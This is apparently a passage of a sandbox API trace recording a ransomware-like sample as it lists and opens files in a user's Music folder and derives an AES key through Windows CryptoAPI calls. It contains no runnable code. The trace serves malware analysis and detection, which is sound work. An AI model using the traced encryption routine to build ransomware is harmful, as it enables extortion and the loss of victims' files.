SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=7092) returned 1 [0027.173] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.173] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.173] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.173] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1bb4, lpOverlapped=0x0) returned 1 [0027.174] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.174] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.174] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=7092) returned 1 [0027.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\LaTASn2XD.encrypted.m4a\r\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0027.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\LaTASn2XD.encrypted.m4a\r\n", cchWideChar=70, lpMultiByteStr=0xe8f4052260, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\LaTASn2XD.encrypted.m4a\r\n", lpUsedDefaultChar=0x0) returned 70 [0027.174] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40699b0*, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40699b0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x45, lpOverlapped=0x0) returned 1 [0027.174] CloseHandle (hObject=0x1fc) returned 1 [0027.175] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.175] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.175] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.175] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.175] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.175] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.175] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.176] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.176] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.177] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.177] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N4RwM_lBui1y47yE.wav", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0027.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N4RwM_lBui1y47yE.wav", cchWideChar=65, lpMultiByteStr=0xe8f4051130, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N4RwM_lBui1y47yE.wav", lpUsedDefaultChar=0x0) returned 65 [0027.177] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N4RwM_lBui1y47yE.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\n4rwm_lbui1y47ye.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0027.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=65, lpWideCharStr=0xe8f4068b70, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N4RwM_lBui1y47yE.wav") returned 65 [0027.178] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.178] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.178] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.179] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.179] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41787e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.179] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.179] CloseHandle (hObject=0x1fc) returned 1 [0027.179] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.179] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.179] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.179] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.180] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.180] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.180] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.180] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.180] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.180] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.180] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.180] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.180] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.181] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.181] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.181] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.181] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.181] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.181] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.181] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.182] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.182] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.182] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.182] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.182] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.182] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.182] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.182] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.182] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.182] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.182] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.183] CryptHashData (hHash=0xe8f4062640, pbData=0xe8f418b5d0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.183] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.183] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.183] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.183] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.183] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.183] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.183] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.183] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.183] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062640, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0027.183] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.183] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.183] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.183] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.183] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.183] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.183] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.183] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.183] CryptDestroyHash (hHash=0xe8f4062640) returned 1 [0027.184] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, 